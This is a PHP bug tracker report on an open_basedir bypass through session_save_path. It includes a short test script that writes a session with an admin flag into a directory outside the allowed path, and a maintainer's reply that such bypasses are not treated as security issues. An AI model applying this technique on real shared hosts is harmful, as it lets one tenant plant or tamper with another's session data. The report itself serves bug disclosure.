php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #77790 open_basedir bypass in session_save_path
Submitted: 2019-03-24 21:55 UTC Modified: 2021-07-12 17:23 UTC
From: adamiwaniuk at gmail dot com Assigned:
Status: Open Package: Session related
PHP Version: 7.2.16 OS: Linux
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: adamiwaniuk at gmail dot com
New email:
PHP Version: OS:

 

 [2019-03-24 21:55 UTC] adamiwaniuk at gmail dot com
Description:
------------
initial script directory: /var/www/html
open_basedir setting: /var/www/html
initial session save path: default

after executing test script, session is saved in the /other-customer-session-dir location


Test script:
---------------
<?php
echo session_save_path()."<br>";
mkdir("a");
mkdir("a/b");
mkdir("a/b/c");
chdir("a/b/c");
session_save_path("../../../other-customer-session-dir");
chdir("../../..");
echo session_save_path()."<br>";
session_start();
$_SESSION['admin']=1;


Expected result:
----------------
session is not saved in /other-customer-session-dir because this is outside open_basedir and inital location (when removed chdir from this code session_save_path("../../../other-customer-session-dir"); fails)


Actual result:
--------------
session is saved in /other-customer-session-dir

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2021-07-12 15:38 UTC] cmb@php.net
-Type: Security +Type: Bug
 [2021-07-12 15:38 UTC] cmb@php.net
open_basedir bypasses are not considered to be security issues;
cf. <https://externals.io/message/105606>
and <https://externals.io/message/115406>.
 [2024-06-05 09:12 UTC] vincent9874curtis at outlook dot com
Thank you for this beautiful post. I enjoyed reading this.(https://github.com)(https://www.the-disneyhub.com)
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sun Nov 24 02:01:28 2024 UTC